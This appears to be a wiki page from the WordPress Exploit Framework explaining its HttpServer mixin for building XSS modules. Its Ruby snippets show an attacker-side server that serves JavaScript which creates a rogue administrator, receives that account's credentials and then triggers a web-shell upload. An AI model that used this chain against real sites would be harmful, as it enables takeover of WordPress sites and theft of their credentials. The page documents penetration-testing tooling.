-
-
Notifications
You must be signed in to change notification settings - Fork 263
Using the HttpServer mixin
In some scenarios, you may be required to serve up files via a temporary web server; typically when writing XSS modules. To aid with this, a basic HTTP server mixin is provided which can be easily integrated into your module.
To include the mixin in your module, add the following include statement into your module class:
include Wpxf::Net::HttpServer
N.B. if you're using the Wpxf::WordPress::Xss
mixin, the HttpServer
mixin is automatically included.
Every HTTP request that is made to the server will be routed via the on_http_request
method implemented in your module. This method accepts three parameters:
-
path
- the path that was requested by the client -
params
- a hash of the query string parameters specified -
headers
- a hash of the HTTP headers sent with the request
It's important that every request be returned a response, to do this, we can simply return a string from the method. If we were to set the return value of on_http_request
to be "Hello, world!", the below HTTP response would be generated:
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 13
Connection: close
Hello, world!
A simple example of how we can use this callback can be found in the WordPress::Xss
implementation. As can be seen below, if the request being made contains a u
and p
parameter in the query string (e.g. http://127.0.0.1/some_path?u=user&p=pass
), we stop the HTTP server and call the upload_shell
method. Otherwise, we return a string containing some JavaScript.
def on_http_request(path, params, headers)
if params['u'] && params['p']
emit_success "Created a new administrator user, #{params['u']}:#{params['p']}"
stop_http_server
# Set this for #run to pick up to determine success state
@success = upload_shell(params['u'], params['p'])
return ''
else
emit_info 'Incoming request received, serving JavaScript...'
return wordpress_js_create_user
end
end
In some cases, you may need to set the content type of the response; such as if you need to serve a HTML page rather than a file that will be considered plain text.
To do this, we simply need to return a hash from on_http_request
instead of a string, which contains a :type
and :body
key.
An example of this can be found in the ultimate_csv_importer_reflected_xss_shell_upload module:
def on_http_request(path, params, headers)
if path.eql? normalize_uri(xss_path, initial_req_path)
emit_info 'Initial request received...'
return { type: 'text/html', body: initial_script }
else
super
end
end
To stop the HTTP server, call the stop_http_server
method. This will flag to the server that it needs to shut down after finishing handling the current request.
It should be noted, that this method is non-blocking and will not guarantee that the server will be stopped instantaneously.